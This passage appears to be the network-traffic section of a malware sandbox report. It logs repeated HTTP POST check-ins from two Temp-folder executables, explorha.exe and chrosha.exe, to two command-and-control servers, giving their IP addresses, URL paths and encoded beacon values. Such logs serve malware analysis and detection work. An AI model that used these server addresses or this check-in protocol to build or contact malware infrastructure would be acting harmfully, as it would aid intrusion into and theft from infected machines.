Apr 19, 2024 03:30:50.533574104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
195	192.168.2.5	50035	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:50.143151999 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:50.396807909 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
196	192.168.2.5	50036	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:50.758999109 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:51.004717112 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
197	192.168.2.5	50037	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:50.897447109 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:51.147028923 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:51.148555994 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:51.400620937 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
198	192.168.2.5	50038	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:51.255101919 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:51.501164913 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
199	192.168.2.5	50040	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:51.751411915 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:51.994056940 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:51.995008945 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:52.245302916 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
200	192.168.2.5	50041	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:51.868043900 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:52.115941048 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
201	192.168.2.5	50042	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:52.133841991 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:52.385466099 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
202	192.168.2.5	50043	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:52.600255966 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:52.847877979 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:52.848735094 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:53.100982904 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
203	192.168.2.5	50044	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:52.744927883 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:52.993236065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
204	192.168.2.5	50045	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:53.015222073 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:53.272310972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
205	192.168.2.5	50046	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:53.457995892 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:53.701596975 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:53.702600956 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:53.951034069 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
206	192.168.2.5	50047	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:53.631294966 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:53.872534037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
207	192.168.2.5	50048	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:54.124835014 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:54.378406048 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
208	192.168.2.5	50049	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:54.306655884 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:54.555742979 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:54.556777954 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:54.813754082 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
209	192.168.2.5	50050	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:54.745862007 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:54.993726969 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
210	192.168.2.5	50051	193.233.132.167	80	8024	C:\Users\user\AppData\Local\Temp\4d0ab15804\chrosha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:55.177989006 CEST	155	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Apr 19, 2024 03:30:55.420648098 CEST	197	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 38 0d 0a 20 3c 63 3e 33 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 8 <c>3<d>0
Apr 19, 2024 03:30:55.421571970 CEST	309	OUT	POST /enigma/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.167 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 39 36 33 38 44 33 34 31 35 46 37 37 38 41 31 45 33 31 46 46 43 31 46 34 42 46 39 31 33 32 42 42 39 45 36 32 35 34 45 32 41 44 36 32 37 42 35 30 44 37 39 42 46 30 34 30 30 43 42 42 32 42 42 38 31 32 37 38 35 30 39 43 30 35 42 45 41 33 36 36 39 41 35 32 37 37 37 46 41 36 31 33 35 34 35 37 33 46 46 34 45 36 34 31 32 41 37 34 36 35 41 31 46 46 34 39 30 30 42 32 44 45 46 33 43 30 41 30 41 41 39 42 43 32 32 43 38 44 31 35 39 32 34 35 35 45 37 42 35 38 30 39 41 44 Data Ascii: r=9638D3415F778A1E31FFC1F4BF9132BB9E6254E2AD627B50D79BF0400CBB2BB81278509C05BEA3669A52777FA61354573FF4E6412A7465A1FF4900B2DEF3C0A0AA9BC22C8D1592455E7B5809AD
Apr 19, 2024 03:30:55.671516895 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
211	192.168.2.5	50052	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:55.241091967 CEST	312	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 43 32 33 38 43 41 39 46 30 42 45 32 35 41 42 41 35 46 39 45 36 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 37 46 30 41 46 34 33 43 46 46 39 46 44 33 33 43 32 30 44 42 46 42 30 30 36 31 36 35 42 37 30 33 31 38 42 42 43 30 30 36 35 43 30 44 35 41 39 35 39 36 37 44 46 34 41 30 36 30 33 33 32 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20ADC238CA9F0BE25ABA5F9E64578B4B5647A288E7F81008DA96AE6C7F0AF43CFF9FD33C20DBFB006165B70318BBC0065C0D5A95967DF4A060332
Apr 19, 2024 03:30:55.488780975 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 19 Apr 2024 01:30:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
212	192.168.2.5	50053	193.233.132.56	80	4484	C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Timestamp	Bytes transferred	Direction	Data
Apr 19, 2024 03:30:55.858253956 CEST	158	OUT	POST /Pneh2sXQk0/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 193.233.132.56 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
